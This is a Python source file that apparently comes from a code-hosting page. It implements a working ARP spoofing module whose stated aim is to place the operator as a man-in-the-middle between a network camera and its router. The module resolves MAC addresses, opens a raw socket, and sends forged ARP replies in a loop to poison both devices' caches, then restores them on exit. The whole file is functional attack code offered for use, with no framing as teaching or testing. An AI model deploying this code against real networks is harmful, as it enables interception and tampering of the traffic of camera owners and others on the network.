90 lines
2.5 KiB
Python
90 lines
2.5 KiB
Python
|
|
"""ARP spoofing service — positions us as MITM between camera and router"""
|
||
|
|
|
||
|
|
import socket
|
||
|
|
import struct
|
||
|
|
import os
|
||
|
|
import time
|
||
|
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
|
||
|
|
|
||
|
|
|
||
|
|
def get_mac(ip):
|
||
|
|
try:
|
||
|
|
out = os.popen(f"ip neigh show {ip}").read()
|
||
|
|
for line in out.strip().split("\n"):
|
||
|
|
parts = line.split()
|
||
|
|
if "lladdr" in parts:
|
||
|
|
return parts[parts.index("lladdr") + 1]
|
||
|
|
except:
|
||
|
|
pass
|
||
|
|
return None
|
||
|
|
|
||
|
|
|
||
|
|
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
|
||
|
|
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
|
||
|
|
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
|
||
|
|
eth = dst_mac + src_mac + b"\x08\x06"
|
||
|
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
||
|
|
arp += src_mac + socket.inet_aton(src_ip)
|
||
|
|
arp += dst_mac + socket.inet_aton(dst_ip)
|
||
|
|
return eth + arp
|
||
|
|
|
||
|
|
|
||
|
|
def run(cfg, flags, running_check):
|
||
|
|
iface = cfg["iface"]
|
||
|
|
camera_ip = cfg["camera_ip"]
|
||
|
|
router_ip = cfg["router_ip"]
|
||
|
|
|
||
|
|
try:
|
||
|
|
with open(f"/sys/class/net/{iface}/address") as f:
|
||
|
|
our_mac = f.read().strip()
|
||
|
|
except:
|
||
|
|
log("ARP: cannot read our MAC", C_ERROR)
|
||
|
|
return
|
||
|
|
|
||
|
|
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
|
||
|
|
os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
|
||
|
|
time.sleep(1)
|
||
|
|
|
||
|
|
router_mac = get_mac(router_ip)
|
||
|
|
camera_mac = get_mac(camera_ip) or cfg["camera_mac"]
|
||
|
|
|
||
|
|
if not router_mac:
|
||
|
|
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
|
||
|
|
return
|
||
|
|
|
||
|
|
log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)
|
||
|
|
|
||
|
|
try:
|
||
|
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||
|
|
sock.bind((iface, 0))
|
||
|
|
except PermissionError:
|
||
|
|
log("ARP: need root for raw sockets", C_ERROR)
|
||
|
|
return
|
||
|
|
|
||
|
|
flags["arp"] = True
|
||
|
|
pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
|
||
|
|
pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)
|
||
|
|
|
||
|
|
while running_check():
|
||
|
|
try:
|
||
|
|
sock.send(pkt_to_cam)
|
||
|
|
sock.send(pkt_to_rtr)
|
||
|
|
except:
|
||
|
|
pass
|
||
|
|
time.sleep(2)
|
||
|
|
|
||
|
|
# Restore
|
||
|
|
log("ARP: restoring...", C_INFO)
|
||
|
|
r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
|
||
|
|
r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
|
||
|
|
for _ in range(5):
|
||
|
|
try:
|
||
|
|
sock.send(r1)
|
||
|
|
sock.send(r2)
|
||
|
|
except:
|
||
|
|
pass
|
||
|
|
time.sleep(0.3)
|
||
|
|
sock.close()
|
||
|
|
flags["arp"] = False
|
||
|
|
log("ARP: restored", C_INFO)
|